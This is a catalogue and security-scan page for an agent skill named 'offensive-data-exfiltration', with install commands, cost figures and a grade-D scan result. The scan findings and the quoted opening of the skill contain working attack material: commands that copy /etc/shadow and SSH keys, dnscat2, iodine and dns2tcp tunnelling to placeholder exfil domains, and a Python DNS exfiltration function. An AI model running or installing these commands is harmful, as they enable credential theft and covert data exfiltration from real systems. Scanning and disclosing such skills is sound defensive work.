Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-data-exfiltrationgit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-data-exfiltration)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-data-exfiltration"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-data-exfiltration/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-data-exfiltration"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-data-exfiltration.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00269 | $0.05873 |
| Opus 5.5 | $0.00108 | $0.02349 |
| Sonnet 5.5 | $0.00054 | $0.01175 |
| Haiku 4.5 | $0.00027 | $0.00587 |
Grade D, and why
offensive-data-exfiltration scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
requests.post("https://api.github.com/gists", Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -H "Host: your-collection.azureedge.net" \ How it starts
The opening of the file, as written. The whole thing — 591 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Data Exfiltration -- Offensive Methodology
Quick Workflow
- Inventory target data. Map files, databases, credentials. Assess volume and classification.
- Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
- Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
- Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
- Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
- Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
- Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
- Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.
DNS Exfiltration
MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
dnscat2
# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
iodine Tunneling
# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc [email protected]:/loot/
dns2tcp
# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf
# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 [email protected]
TXT/CNAME Record Encoding
import base64, dns.resolver
def dns_exfil(data, domain, chunk_size=60):
encoded = base64.b32encode(data).decode()
for seq, i in enumerate(range(0, len(encoded), chunk_size)):
query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
try: dns.resolver.resolve(query, "TXT")
except Exception: pass # data is in the query itself
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 591 lines · 269 tokens per session scan D 622dbf8ae6d2
offensive-data-exfiltration is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 269 tokens to every session and 5,873 once invoked, about $0.0011 per session on Opus 5.5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
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